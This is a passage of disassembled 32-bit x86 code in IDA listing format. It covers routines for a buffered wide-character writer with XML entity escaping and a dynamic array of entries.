		push	edi
		call	sub_69B2E8B8


loc_69B8A797:				; CODE XREF: sub_69B8A714+15j
					; sub_69B8A714+1Cj ...
		mov	eax, [ebp+var_4]
		mov	esi, [ebx+102Ch]
		mov	ecx, eax
		mov	edx, ecx
		sub	esi, eax
		shr	ecx, 2
		lea	edi, [ebx+28h]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		lea	eax, [eax+ebx+28h]
		pop	esi
		mov	[ebx+102Ch], eax
		pop	ebx
		leave
		retn
sub_69B8A714	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A7C4	proc near		; CODE XREF: sub_69B8A7EB+Bp
					; sub_69B8A7EB+14p ...

arg_0		= word ptr  4

		lea	eax, [ecx+102Ch]
		mov	edx, [eax]
		push	esi
		mov	si, [esp+4+arg_0]
		mov	[edx], si
		add	dword ptr [eax], 2
		mov	eax, [eax]
		cmp	eax, [ecx+1030h]
		pop	esi
		jb	short locret_69B8A7E8
		call	sub_69B8A714

locret_69B8A7E8:			; CODE XREF: sub_69B8A7C4+1Dj
		retn	4
sub_69B8A7C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A7EB	proc near		; CODE XREF: sub_69B8A828+19p
					; sub_69B8A903+9p ...
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ch], 1
		jz	short loc_69B8A804
		push	0Dh
		call	sub_69B8A7C4
		push	0Ah
		mov	ecx, esi
		call	sub_69B8A7C4


loc_69B8A804:				; CODE XREF: sub_69B8A7EB+7j
		test	byte ptr [esi+0Ch], 2
		jz	short loc_69B8A822
		push	edi
		xor	edi, edi
		cmp	[esi+14h], edi
		jle	short loc_69B8A821


loc_69B8A812:				; CODE XREF: sub_69B8A7EB+34j
		push	9
		mov	ecx, esi
		call	sub_69B8A7C4
		inc	edi
		cmp	edi, [esi+14h]
		jl	short loc_69B8A812


loc_69B8A821:				; CODE XREF: sub_69B8A7EB+25j
		pop	edi


loc_69B8A822:				; CODE XREF: sub_69B8A7EB+1Dj
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn
sub_69B8A7EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A828	proc near		; CODE XREF: sub_69B3DFBE+46p
					; sub_69B3DFBE+67p ...
		push	0Ch
		push	offset dword_69B8A888
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		and	dword ptr [ebp-4], 0
		and	dword ptr [esi+0Ch], 0FFFFFFFDh
		call	sub_69B8A7EB
		mov	ecx, esi
		call	sub_69B8A714
		jmp	short loc_69B8A86F
; ---------------------------------------------------------------------------


loc_69B8A84F:				; DATA XREF: .text:69B8A88Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8A858:				; DATA XREF: .text:69B8A890o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		and	word ptr [esi+28h], 0
		mov	eax, [esi+1028h]
		mov	[esi+102Ch], eax


loc_69B8A86F:				; CODE XREF: sub_69B8A828+25j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		add	esi, 20h
		push	esi
		call	sub_69B17320
		call	sub_69B1853C
		retn
sub_69B8A828	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B8A888	dd 0FFFFFFFFh			dd offset loc_69B8A84F
		dd offset loc_69B8A858

; =============== S U B	R O U T	I N E =======================================



sub_69B8A894	proc near		; CODE XREF: sub_69B3DEBD+4Cp
					; sub_69B4A8CB+40p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	1034h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A8AE
		mov	ecx, eax
		call	sub_69B16CD0
		mov	esi, eax
		jmp	short loc_69B8A8B0
; ---------------------------------------------------------------------------


loc_69B8A8AE:				; CODE XREF: sub_69B8A894+Dj
		xor	esi, esi


loc_69B8A8B0:				; CODE XREF: sub_69B8A894+18j
		push	[esp+4+arg_0]
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	eax, [esp+4+arg_4]
		push	[esp+4+arg_8]
		and	dword ptr [esi+14h], 0
		mov	[esi+18h], eax
		lea	eax, [esi+24h]
		push	eax
		mov	byte ptr [esi+8], 1
		call	sub_69B17320
		and	word ptr [esi+28h], 0
		lea	eax, [esi+2Ah]
		lea	ecx, [eax+0FFEh]
		mov	[esi+1028h], eax
		mov	[esi+102Ch], eax
		mov	byte ptr [esi+10h], 0
		mov	[esi+1030h], ecx
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B8A894	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A903	proc near		; CODE XREF: sub_69B173D1+AAp
					; sub_69B173D1+136p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_69B8A911
		call	sub_69B8A7EB


loc_69B8A911:				; CODE XREF: sub_69B8A903+7j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B8A7C4
		pop	esi
		retn	4
sub_69B8A903	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A920	proc near		; CODE XREF: sub_69B76FDD+2Fp
					; sub_69B76FDD+76p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_69B8A92F
		call	sub_69B8A7EB


loc_69B8A92F:				; CODE XREF: sub_69B8A920+8j
		mov	ebx, [esp+8+arg_4]
		test	ebx, ebx
		jz	short loc_69B8A96B
		push	esi
		mov	esi, [esp+0Ch+arg_0]


loc_69B8A93C:				; CODE XREF: sub_69B8A920+48j
		cmp	word ptr [esi],	0Ah
		jnz	short loc_69B8A958
		mov	eax, [edi+102Ch]
		cmp	word ptr [eax-2], 0Dh
		jz	short loc_69B8A958
		push	0Dh
		mov	ecx, edi
		call	sub_69B8A7C4


loc_69B8A958:				; CODE XREF: sub_69B8A920+20j
					; sub_69B8A920+2Dj
		xor	eax, eax
		mov	ax, [esi]
		mov	ecx, edi
		push	eax
		call	sub_69B8A7C4
		inc	esi
		inc	esi
		dec	ebx
		jnz	short loc_69B8A93C
		pop	esi


loc_69B8A96B:				; CODE XREF: sub_69B8A920+15j
		pop	edi
		pop	ebx
		retn	8
sub_69B8A920	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A970	proc near		; CODE XREF: sub_69B173D1+85p
					; sub_69B173D1+94p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_69B8A983
		push	dword ptr [eax+8]
		push	dword ptr [eax+0Ch]
		call	sub_69B8A920

locret_69B8A983:			; CODE XREF: sub_69B8A970+6j
		retn	4
sub_69B8A970	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B8A986(LPCWSTR lpString)

sub_69B8A986	proc near		; CODE XREF: sub_69B760B0+C3p
					; sub_69B760B0+D9p ...

lpString	= dword	ptr  4

		push	esi
		push	[esp+4+lpString] ; lpString
		mov	esi, ecx
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	[esp+8+lpString]
		mov	ecx, esi
		call	sub_69B8A920
		pop	esi
		retn	4
sub_69B8A986	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A9A3	proc near		; CODE XREF: sub_69B173D1+53Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B8A970
		pop	esi
		retn	4
sub_69B8A9A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8A9BB	proc near		; CODE XREF: sub_69B4A260+6Fp
					; sub_69B4A260+E6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_69B8A9CC
		call	sub_69B8A7EB


loc_69B8A9CC:				; CODE XREF: sub_69B8A9BB+Aj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	loc_69B8AA8A
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	[ebp+arg_4], eax


loc_69B8A9DE:				; CODE XREF: sub_69B8A9BB+C8j
		movzx	ecx, word ptr [ebx]
		inc	ebx
		inc	ebx
		cmp	ecx, 3Eh
		jg	loc_69B8AA78
		mov	eax, ecx
		sub	eax, 0Ah
		jz	short loc_69B8AA52
		sub	eax, 3
		jz	short loc_69B8AA3A
		sub	eax, 15h
		jz	short loc_69B8AA27
		sub	eax, 4
		jz	short loc_69B8AA19
		sub	eax, 16h
		jz	short loc_69B8AA12
		dec	eax
		dec	eax
		jnz	short loc_69B8AA78
		push	offset aGt_2	; ">"
		jmp	short loc_69B8AA1E
; ---------------------------------------------------------------------------


loc_69B8AA12:				; CODE XREF: sub_69B8A9BB+4Aj
		push	offset aLt_2	; "<"
		jmp	short loc_69B8AA1E
; ---------------------------------------------------------------------------


loc_69B8AA19:				; CODE XREF: sub_69B8A9BB+45j
		push	offset aAmp_1	; "&"


loc_69B8AA1E:				; CODE XREF: sub_69B8A9BB+55j
					; sub_69B8A9BB+5Cj
		mov	ecx, esi


loc_69B8AA20:				; CODE XREF: sub_69B8A9BB+7Dj
		call	sub_69B8A986
		jmp	short loc_69B8AA80
; ---------------------------------------------------------------------------


loc_69B8AA27:				; CODE XREF: sub_69B8A9BB+40j
		cmp	[ebp+arg_8], 0
		mov	ecx, esi
		jz	short loc_69B8AA33
		push	22h
		jmp	short loc_69B8AA7B
; ---------------------------------------------------------------------------


loc_69B8AA33:				; CODE XREF: sub_69B8A9BB+72j
		push	offset aQuot_1	; """
		jmp	short loc_69B8AA20
; ---------------------------------------------------------------------------


loc_69B8AA3A:				; CODE XREF: sub_69B8A9BB+3Bj
		push	0Dh
		mov	ecx, esi
		call	sub_69B8A7C4
		push	0Ah
		mov	ecx, esi
		call	sub_69B8A7C4
		mov	byte ptr [esi+1Ch], 1
		jmp	short loc_69B8AA80
; ---------------------------------------------------------------------------


loc_69B8AA52:				; CODE XREF: sub_69B8A9BB+36j
		cmp	byte ptr [esi+1Ch], 0
		jz	short loc_69B8AA6B
		mov	eax, [esi+102Ch]
		cmp	word ptr [eax-2], 0Ah
		jnz	short loc_69B8AA6B
		mov	byte ptr [esi+1Ch], 0
		jmp	short loc_69B8AA80
; ---------------------------------------------------------------------------


loc_69B8AA6B:				; CODE XREF: sub_69B8A9BB+9Bj
					; sub_69B8A9BB+A8j
		push	0Dh
		mov	ecx, esi
		call	sub_69B8A7C4
		push	0Ah
		jmp	short loc_69B8AA79
; ---------------------------------------------------------------------------


loc_69B8AA78:				; CODE XREF: sub_69B8A9BB+2Bj
					; sub_69B8A9BB+4Ej
		push	ecx


loc_69B8AA79:				; CODE XREF: sub_69B8A9BB+BBj
		mov	ecx, esi


loc_69B8AA7B:				; CODE XREF: sub_69B8A9BB+76j
		call	sub_69B8A7C4


loc_69B8AA80:				; CODE XREF: sub_69B8A9BB+6Aj
					; sub_69B8A9BB+95j ...
		dec	[ebp+arg_4]
		jnz	loc_69B8A9DE
		pop	ebx


loc_69B8AA8A:				; CODE XREF: sub_69B8A9BB+16j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B8A9BB	endp

; ---------------------------------------------------------------------------
		align 10h
aQuot_1:				; DATA XREF: sub_69B8A9BB:loc_69B8AA33o
		unicode	0, <">,0
		align 10h
; const	WCHAR aAmp_1
aAmp_1:					; DATA XREF: sub_69B8A9BB:loc_69B8AA19o
		unicode	0, <&>,0
aLt_2:					; DATA XREF: sub_69B8A9BB:loc_69B8AA12o
		unicode	0, <<>,0
		align 4
aGt_2:					; DATA XREF: sub_69B8A9BB+50o
		unicode	0, <>>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B8AAC2	proc near		; CODE XREF: sub_69B173D1+10Bp
					; sub_69B173D1+1FBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		test	edx, edx
		jle	short locret_69B8AADA
		push	[esp+arg_4]
		push	edx
		push	dword ptr [eax+0Ch]
		call	sub_69B8A9BB

locret_69B8AADA:			; CODE XREF: sub_69B8AAC2+9j
		retn	8
sub_69B8AAC2	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B8AADD(LPCWSTR lpString)

sub_69B8AADD	proc near		; CODE XREF: sub_69B3740E+Dp
					; sub_69B3745D+10p ...

lpString	= dword	ptr  4

		push	esi
		mov	esi, [esp+4+lpString]
		test	esi, esi
		jnz	short loc_69B8AAEA
		xor	eax, eax
		jmp	short loc_69B8AB1C
; ---------------------------------------------------------------------------


loc_69B8AAEA:				; CODE XREF: sub_69B8AADD+7j
		push	ebx
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	ebx, [eax+eax]
		lea	eax, [ebx+2]
		push	eax
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B8AB1B
		push	edi
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, eax
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		and	word ptr [ebx+eax], 0
		pop	edi


loc_69B8AB1B:				; CODE XREF: sub_69B8AADD+23j
		pop	ebx


loc_69B8AB1C:				; CODE XREF: sub_69B8AADD+Bj
		pop	esi
		retn	4
sub_69B8AADD	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B8AB20(LPCWSTR lpString, int)

sub_69B8AB20	proc near		; CODE XREF: sub_69B3A709+21p
					; sub_69B3A709+4Ap ...

lpString	= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+lpString]	; lpString
		call	sub_69B8AADD
		test	eax, eax
		jnz	short locret_69B8AB37
		mov	ecx, [esp+arg_4]
		mov	dword ptr [ecx], 8007000Eh

locret_69B8AB37:			; CODE XREF: sub_69B8AB20+Bj
		retn	8
sub_69B8AB20	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AB3A	proc near		; DATA XREF: .text:69B148C8o
					; .text:69B21F20o
		push	0Ch
		pop	eax
		retn
sub_69B8AB3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AB3E	proc near		; CODE XREF: sub_69B3BCF6+8p
					; sub_69B3BD1A+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [ecx+4]
		test	ecx, ecx
		push	esi
		jz	short loc_69B8AB69
		lea	eax, [ecx+0Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_69B8AB69
		mov	edx, [esp+4+arg_8]
		shl	edx, 2


loc_69B8AB57:				; CODE XREF: sub_69B8AB3E+29j
		mov	esi, [esp+4+arg_4]
		dec	ecx
		cmp	esi, [edx+eax]
		jz	short loc_69B8AB6B
		add	eax, [esp+4+arg_0]
		test	ecx, ecx
		jnz	short loc_69B8AB57


loc_69B8AB69:				; CODE XREF: sub_69B8AB3E+6j
					; sub_69B8AB3E+10j
		xor	eax, eax


loc_69B8AB6B:				; CODE XREF: sub_69B8AB3E+21j
		pop	esi
		retn	0Ch
sub_69B8AB3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AB6F	proc near		; CODE XREF: sub_69B3BEAE+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+4]
		test	eax, eax
		jz	short loc_69B8AB98
		mov	ecx, [eax+8]
		add	eax, 0Ch
		jmp	short loc_69B8AB94
; ---------------------------------------------------------------------------


loc_69B8AB7E:				; CODE XREF: sub_69B8AB6F+27j
		dec	ecx
		cmp	dword ptr [eax], 0
		jz	short loc_69B8AB90
		mov	edx, [esp+arg_4]
		dec	[esp+arg_4]
		test	edx, edx
		jz	short locret_69B8AB9A


loc_69B8AB90:				; CODE XREF: sub_69B8AB6F+13j
		add	eax, [esp+arg_0]


loc_69B8AB94:				; CODE XREF: sub_69B8AB6F+Dj
		test	ecx, ecx
		jnz	short loc_69B8AB7E


loc_69B8AB98:				; CODE XREF: sub_69B8AB6F+5j
		xor	eax, eax

locret_69B8AB9A:			; CODE XREF: sub_69B8AB6F+1Fj
		retn	8
sub_69B8AB6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AB9D	proc near		; CODE XREF: sub_69B3BFAC+3Fp
		xor	eax, eax
		cmp	[ecx+0Ch], eax
		jz	short locret_69B8ABC6
		mov	ecx, [ecx+4]
		lea	edx, [ecx+0Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short locret_69B8ABC6


loc_69B8ABB1:				; CODE XREF: sub_69B8AB9D+27j
		cmp	dword ptr [edx], 0
		jz	short loc_69B8ABC0
		test	dword ptr [edx+8], 7FFFFFFFh
		jz	short loc_69B8ABC0
		inc	eax


loc_69B8ABC0:				; CODE XREF: sub_69B8AB9D+17j
					; sub_69B8AB9D+20j
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_69B8ABB1

locret_69B8ABC6:			; CODE XREF: sub_69B8AB9D+5j
					; sub_69B8AB9D+12j
		retn
sub_69B8AB9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8ABC7	proc near		; CODE XREF: sub_69B3C33C+42p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		cmp	edx, [ecx+0Ch]
		push	esi
		jge	short loc_69B8ABF9
		mov	eax, [ecx+4]
		lea	ecx, [eax+0Ch]
		mov	eax, [eax+8]
		jmp	short loc_69B8ABF5
; ---------------------------------------------------------------------------


loc_69B8ABDC:				; CODE XREF: sub_69B8ABC7+30j
		dec	eax
		cmp	dword ptr [ecx], 0
		jz	short loc_69B8ABF2
		test	dword ptr [ecx+8], 7FFFFFFFh
		jz	short loc_69B8ABF2
		mov	esi, edx
		dec	edx
		test	esi, esi
		jz	short loc_69B8ABFF


loc_69B8ABF2:				; CODE XREF: sub_69B8ABC7+19j
					; sub_69B8ABC7+22j
		add	ecx, 0Ch


loc_69B8ABF5:				; CODE XREF: sub_69B8ABC7+13j
		test	eax, eax
		jnz	short loc_69B8ABDC


loc_69B8ABF9:				; CODE XREF: sub_69B8ABC7+8j
		xor	eax, eax


loc_69B8ABFB:				; CODE XREF: sub_69B8ABC7+3Aj
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B8ABFF:				; CODE XREF: sub_69B8ABC7+29j
		mov	eax, [ecx]
		jmp	short loc_69B8ABFB
sub_69B8ABC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AC03	proc near		; CODE XREF: sub_69B8ACCF+44p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [edx+8]
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [eax+eax*2]
		shl	ecx, 2
		mov	eax, ecx
		shr	ecx, 2
		add	edi, 0Ch
		lea	esi, [edx+0Ch]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn	4
sub_69B8AC03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AC2D	proc near		; CODE XREF: sub_69B8AD6D+40p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, ecx
		mov	ecx, [eax+8]
		push	esi
		shl	ecx, 3
		push	edi
		lea	esi, [eax+0Ch]
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [edx+0Ch]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn	4
sub_69B8AC2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AC54	proc near		; CODE XREF: sub_69B8ACCF+7p
					; sub_69B8AD6D+7p ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+0Ch], 0
		or	dword ptr [esi+8], 0FFFFFFFFh
		pop	esi
		retn
sub_69B8AC54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8AC6C	proc near		; CODE XREF: sub_69B8AE52+4Ep
					; sub_69B8AE52+6Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	[ebp+arg_4]
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax]
		lea	ebx, [esi+4]
		mov	ecx, [ebx]
		test	ecx, ecx
		mov	edx, eax
		mov	[ebp+var_4], edx
		jz	short loc_69B8ACBE
		mov	eax, [ecx+8]
		imul	eax, [ebp+arg_0]
		lea	esi, [ecx+0Ch]
		push	edi
		mov	ecx, eax
		lea	edi, [edx+0Ch]
		mov	edx, ecx
		shr	ecx, 2
		mov	[ebp+arg_4], esi
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_4]
		mov	ecx, eax
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi


loc_69B8ACBE:				; CODE XREF: sub_69B8AC6C+1Bj
		push	[ebp+var_4]
		push	ebx
		call	sub_69B17320
		mov	eax, [ebx]
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B8AC6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8ACCF	proc near		; CODE XREF: sub_69B8BF13+157p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		call	sub_69B8AC54
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], 0
		jz	locret_69B8AD69
		push	esi
		mov	esi, [eax+4]
		push	edi
		push	dword ptr [esi+8]
		push	10h
		call	sub_69B752F1
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_69B8AD0E
		mov	ecx, edi
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B14890
		jmp	short loc_69B8AD10
; ---------------------------------------------------------------------------


loc_69B8AD0E:				; CODE XREF: sub_69B8ACCF+2Ej
		xor	edi, edi


loc_69B8AD10:				; CODE XREF: sub_69B8ACCF+3Dj
		push	esi
		mov	ecx, edi
		call	sub_69B8AC03
		mov	eax, [edi+8]
		test	eax, eax
		lea	esi, [edi+0Ch]
		jz	short loc_69B8AD5A
		mov	[ebp+arg_0], eax
		push	ebx


loc_69B8AD26:				; CODE XREF: sub_69B8ACCF+88j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B8AD51
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		cmp	[ebp+arg_4], 0
		jz	short loc_69B8AD4D
		mov	ebx, [esi+4]
		test	ebx, ebx
		jz	short loc_69B8AD51
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		jmp	short loc_69B8AD51
; ---------------------------------------------------------------------------


loc_69B8AD4D:				; CODE XREF: sub_69B8ACCF+67j
		and	dword ptr [esi+4], 0


loc_69B8AD51:				; CODE XREF: sub_69B8ACCF+5Bj
					; sub_69B8ACCF+6Ej ...
		add	esi, 0Ch
		dec	[ebp+arg_0]
		jnz	short loc_69B8AD26
		pop	ebx


loc_69B8AD5A:				; CODE XREF: sub_69B8ACCF+51j
		mov	eax, [ebp+var_4]
		push	edi
		add	eax, 4
		push	eax
		call	sub_69B17320
		pop	edi
		pop	esi

locret_69B8AD69:			; CODE XREF: sub_69B8ACCF+13j
		leave
		retn	8
sub_69B8ACCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8AD6D	proc near		; CODE XREF: sub_69B8BF13+163p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		call	sub_69B8AC54
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], 0
		jz	short locret_69B8ADE4
		push	ebx
		mov	ebx, [eax+4]
		push	esi
		push	edi
		mov	edi, [ebx+8]
		lea	eax, ds:10h[edi*8]
		push	eax
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], edi
		call	sub_69B19118
		push	ebx
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B14850
		call	sub_69B8AC2D
		mov	eax, [esi+8]
		test	eax, eax
		lea	edi, [esi+0Ch]
		jz	short loc_69B8ADD4
		mov	ebx, eax


loc_69B8ADBE:				; CODE XREF: sub_69B8AD6D+65j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B8ADCE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		and	dword ptr [edi+4], 0


loc_69B8ADCE:				; CODE XREF: sub_69B8AD6D+55j
		add	edi, 8
		dec	ebx
		jnz	short loc_69B8ADBE


loc_69B8ADD4:				; CODE XREF: sub_69B8AD6D+4Dj
		mov	eax, [ebp+var_4]
		push	esi
		add	eax, 4
		push	eax
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx

locret_69B8ADE4:			; CODE XREF: sub_69B8AD6D+13j
		leave
		retn	4
sub_69B8AD6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8ADE8	proc near		; DATA XREF: .text:69B148CCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B8ADF8
		retn	8
sub_69B8ADE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8ADF8	proc near		; CODE XREF: sub_69B8ADE8+8p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	dword ptr [edi]
		mov	esi, ecx
		push	esi
		call	sub_69B17320
		mov	eax, [edi+4]
		mov	ecx, [esi+8]
		mov	[esi+4], eax
		xor	ecx, [edi+8]
		mov	eax, 7FFFFFFFh
		and	ecx, eax
		xor	[esi+8], ecx
		mov	ecx, [esi+8]
		mov	edx, [edi+8]
		xor	edx, ecx
		and	edx, eax
		xor	edx, [edi+8]
		pop	edi
		mov	[esi+8], edx
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8ADF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AE35	proc near		; DATA XREF: .text:69B1488Co
					; .text:69B16E3Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		push	dword ptr [esi]
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	sub_69B17320
		mov	eax, [esi+4]
		mov	[edi+4], eax
		pop	edi
		pop	esi
		retn	8
sub_69B8AE35	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AE52	proc near		; CODE XREF: sub_69B3C198+9p
					; sub_69B3C214+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_69B8AEB4
		mov	ecx, [edi+8]
		cmp	ecx, 0FFFFFFFFh
		mov	esi, [eax+8]
		mov	ebx, [esp+0Ch+arg_0]
		jz	short loc_69B8AE89
		mov	edx, ecx
		imul	edx, ebx
		cmp	ecx, esi
		lea	eax, [edx+eax+0Ch]
		jge	short loc_69B8AE85
		cmp	dword ptr [eax], 0
		jnz	short loc_69B8AE85
		inc	ecx
		mov	[edi+8], ecx
		jmp	short loc_69B8AECB
; ---------------------------------------------------------------------------


loc_69B8AE85:				; CODE XREF: sub_69B8AE52+26j
					; sub_69B8AE52+2Bj
		or	dword ptr [edi+8], 0FFFFFFFFh


loc_69B8AE89:				; CODE XREF: sub_69B8AE52+19j
		push	0
		push	0
		push	ebx
		mov	ecx, edi
		call	sub_69B8AB3E
		test	eax, eax
		jnz	short loc_69B8AECB
		lea	eax, [esi+esi]
		push	eax
		push	ebx
		mov	ecx, edi
		call	sub_69B8AC6C
		lea	ecx, [esi+1]
		imul	esi, ebx
		mov	[edi+8], ecx
		lea	eax, [esi+eax+0Ch]
		jmp	short loc_69B8AECB
; ---------------------------------------------------------------------------


loc_69B8AEB4:				; CODE XREF: sub_69B8AE52+Aj
		push	8
		push	[esp+10h+arg_0]
		mov	ecx, edi
		call	sub_69B8AC6C
		mov	dword ptr [edi+8], 1
		add	eax, 0Ch


loc_69B8AECB:				; CODE XREF: sub_69B8AE52+31j
					; sub_69B8AE52+45j ...
		mov	ecx, [esp+0Ch+arg_4]
		mov	[eax], ecx
		inc	dword ptr [edi+0Ch]
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B8AE52	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AEDA	proc near		; DATA XREF: .text:69B148C4o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B8AEF9
		push	ebx
		mov	ebx, eax


loc_69B8AEEB:				; CODE XREF: sub_69B8AEDA+1Cj
		mov	ecx, edi
		call	sub_69B8AF02
		add	edi, 0Ch
		dec	ebx
		jnz	short loc_69B8AEEB
		pop	ebx


loc_69B8AEF9:				; CODE XREF: sub_69B8AEDA+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B8AEDA	endp


; =============== S U B	R O U T	I N E =======================================



